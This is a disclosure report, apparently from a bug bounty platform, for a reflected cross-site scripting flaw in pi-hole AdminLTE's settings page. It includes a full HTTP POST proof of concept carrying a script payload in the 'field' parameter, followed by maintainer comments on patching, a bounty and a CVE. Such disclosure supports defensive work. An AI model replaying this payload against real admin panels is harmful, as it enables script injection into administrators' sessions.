Cross-site Scripting (XSS) - Reflected in pi-hole/adminlte
Reported on
Sep 1st 2021
βοΈ Description
Reflected XSS on any POST parameters with a correct token on /admin/settings.php When field is not in the defined list , $debug value is set to true , and the $POST is dumped without filtering
π΅οΈββοΈ Proof of Concept
- Login as admin
- Settings -> Flush log
- replace
field
with XSS payload using burp
POST /admin/settings.php HTTP/1.1
Host: 192.168.159.138
Content-Length: 88
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.159.138
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.159.138/admin/settings.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=***
Connection: close
field=<script>alert(1)</script>&token=***
π₯ Impact
Reflected XSS on field POST parameters with a correct token and not-exist field value
@wtwver, we're gearing up for a release, so i've cherry-picked your patches for these two xss, will still award bounty to you
We are able to issue a CVE here, we just need double confirmation from the maintainer that they are happy for this to go ahead.
@maintainer?
https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-3gfp-33g5-4cqq